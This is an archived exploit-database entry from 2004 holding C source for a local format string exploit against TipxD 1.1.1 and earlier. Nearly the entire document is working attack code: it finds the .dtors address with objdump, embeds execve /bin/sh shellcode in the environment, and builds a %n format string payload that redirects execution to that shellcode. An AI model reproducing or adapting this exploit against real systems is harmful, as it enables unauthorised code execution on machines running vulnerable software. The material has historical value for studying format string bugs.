TipxD <= 1.1.1 Local Format String Vulnerability (not setuid)

                                                /* tipxd_exp.c

TipxD Format String Vulnerability

TipxD <= 1.1.1 local exploit (Proof of Concept)

Tested in Slackware 9.0 / 9.1 / 10.0

by CoKi <[email protected]> - SECU
No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <string.h>

#define PATH "/bin/tipxd"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"

unsigned char shellcode[]= /* aleph1 shellcode.45b */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68";

int check(unsigned long addr);

int main(int argc, char *argv[]) {

int i, dtorsaddr;
unsigned int bal1, bal2, bal3, bal4;
char temp[512];
char buffer[1024];
char nop1[255], nop2[255];
char nop3[255], nop4[255];
int cn1, cn2, cn3, cn4;
FILE *f;
char *env[3] = {shellcode, NULL};
int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);

/* finding .dtors address */
sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
f = popen(temp, "r");
if(fscanf(f, " %08x", &dtorsaddr) != 1) {
pclose(f);
printf("Cannot find .dtors address\n");
exit(1);
}
pclose(f);
dtorsaddr = dtorsaddr + 4;

printf("\n TipxD <= 1.1.1 local exploit (Proof of Concept)\n");
printf(" by CoKi <[email protected]>\n\n");
printf(" shellcode address = %.8p\n", shaddr);
printf(" .dtors address = %.8p\n\n", dtorsaddr);

bzero(temp, sizeof(temp));
bzero(buffer, sizeof(buffer));

strcat(buffer, "x");

/* adding .dtors address */
for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &dtorsaddr);
strncat(buffer, temp, 4);
dtorsaddr++;
}

/* convert shellcode address location */
memset(nop1, 0, 255);
memset(nop2, 0, 255);
memset(nop3, 0, 255);
memset(nop4, 0, 255);

bal1 = (shaddr & 0xff000000) >> 24;
bal2 = (shaddr & 0x00ff0000) >> 16;
bal3 = (shaddr & 0x0000ff00) >> 8;
bal4 = (shaddr & 0x000000ff);

cn1 = bal4 - 16 - 15 - 48 - 2 -1;
cn1 = check(cn1);
cn2 = bal3 - bal4 - 2;
cn2 = check(cn2);
cn3 = bal2 - bal3 - 2;
cn3 = check(cn3);
cn4 = bal1 - bal2 - 2;
cn4 = check(cn4);

memset(nop1, '\x90', cn1);
memset(nop2, '\x90', cn2);
memset(nop3, '\x90', cn3);
memset(nop4, '\x90', cn4);

sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n"
"%s\xeb\x02%%n\x90\x90\x90\x90"
,nop1, nop2, nop3, nop4);

strcat(buffer, temp);

execle(PATH, "tipxd", "-f", buffer, NULL, env);
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;

return addr;
}

// milw0rm.com [2004-12-14]